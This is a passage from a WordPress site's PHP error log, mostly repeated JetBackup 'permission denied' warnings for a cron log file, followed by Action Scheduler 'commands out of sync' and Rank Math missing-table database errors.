fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:43:24 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:43:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:43:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:43:56 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:44:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:44:18 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:44:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:44:36 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:44:45 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:44:53 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:45:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:45:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:45:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:45:35 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:45:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:45:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:46:06 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:46:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:46:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:46:33 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:46:43 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:46:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:47:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:47:14 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:47:23 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:47:34 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:47:44 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:47:54 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:48:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:49:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:50:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:51:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:52:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:53:15 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:54:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:55:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:56:08 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:57:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:58:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 21:59:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:00:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:01:07 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:01:19 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:01:26 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:01:40 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:01:50 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:02:03 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:02:13 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:02:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:02:30 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:02:41 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:02:51 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:03:00 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:03:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:03:20 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:03:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:03:41 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:03:51 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:04:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:04:12 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:04:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:04:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:04:41 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:04:52 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:05:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:05:17 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:05:25 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:05:31 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:05:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:05:52 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:06:02 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:06:10 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:06:22 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:06:32 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:06:42 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:06:51 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:07:01 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:07:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:07:21 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:08:11 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [24-Jun-2026 22:09:09 UTC] PHP Warning: fopen(/home/dxgrqzvp/public_html/wp-content/uploads/jetbackup-a0d710d7df10/logs-a852f2c6adc5/cron.log): Failed to open stream: Permission denied in /home/dxgrqzvp/public_html/wp-content/plugins/backup/src/JetBackup/Log/FileLogger.php on line 26 [12-Jul-2026 05:26:38 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_Lock->is_locked, ActionScheduler_OptionLock->get_expiration, ActionScheduler_OptionLock->get_existing_lock [12-Jul-2026 05:26:38 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set, ActionScheduler_OptionLock->get_existing_lock [12-Jul-2026 05:26:38 UTC] WordPress database error Commands out of sync; you can't run this command now for query INSERT INTO `wpuz_options` (`option_name`, `option_value`, `autoload`) VALUES ('action_scheduler_lock_async-request-runner', '6a53258e40c072.33877922|1783834058', 'no') made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set [12-Jul-2026 05:35:21 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_Lock->is_locked, ActionScheduler_OptionLock->get_expiration, ActionScheduler_OptionLock->get_existing_lock [12-Jul-2026 05:35:21 UTC] WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wpuz_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set, ActionScheduler_OptionLock->get_existing_lock [12-Jul-2026 05:35:21 UTC] WordPress database error Commands out of sync; you can't run this command now for query INSERT INTO `wpuz_options` (`option_name`, `option_value`, `autoload`) VALUES ('action_scheduler_lock_async-request-runner', '6a532799605ae4.22648485|1783834581', 'no') made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set [20-Jul-2026 09:34:57 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_gsc' doesn't exist for query SELECT COUNT(DISTINCT(page)) AS posts, SUM(impressions) AS impressions, SUM(clicks) AS clicks, AVG(position) AS position FROM wpuz_rank_math_analytics_gsc WHERE created BETWEEN '2026-06-14 00:00:00' AND '2026-07-17 23:59:59' made by do_action('wp_ajax_nopriv_as_async_request_queue_runner'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Async_Request->maybe_handle, ActionScheduler_AsyncRequest_QueueRunner->handle, do_action('action_scheduler_run_queue'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->run, ActionScheduler_QueueRunner->do_batch, ActionScheduler_Abstract_QueueRunner->process_action, ActionScheduler_Action->execute, do_action_ref_array('rank_math/analytics/email_report_event'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Email_Reports->email_report, RankMath\Analytics\Email_Reports->setup_variables, RankMath\Analytics\Email_Reports->get_stats, RankMath\Analytics\Summary->get_analytics_summary, RankMath\Admin\Database\Query_Builder->one, RankMath\Admin\Database\Query_Builder->get_row, RankMath\Admin\Database\Query_Builder->run [20-Jul-2026 09:34:57 UTC] WordPress database error Table 'dxgrqzvp_wp687.wpuz_rank_math_analytics_gsc' doesn't exist for query SELECT COUNT(DISTINCT(page)) AS posts, SUM(impressions) AS impressions, SUM(clicks) AS clicks, AVG(position) AS position FROM wpuz_rank_math_analytics_gsc WHERE created BETWEEN '2026-05-11 00:00:00' AND '2026-06-13 23:59:59' made by do_action('wp_ajax_nopriv_as_async_request_queue_runner'), WP_Hook->do_action, WP_Hook->apply_filters, WP_Async_Request->maybe_handle, ActionScheduler_AsyncRequest_QueueRunner->handle, do_action('action_scheduler_run_queue'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->run, ActionScheduler_QueueRunner->do_batch, ActionScheduler_Abstract_QueueRunner->process_action, ActionScheduler_Action->execute, do_action_ref_array('rank_math/analytics/email_report_event'), WP_Hook->do_action, WP_Hook->apply_filters, RankMath\Analytics\Email_Reports->email_report, RankMath\Analytics\Email_Reports->setup_variables, RankMath\Analytics\Email_Reports->get_stats, 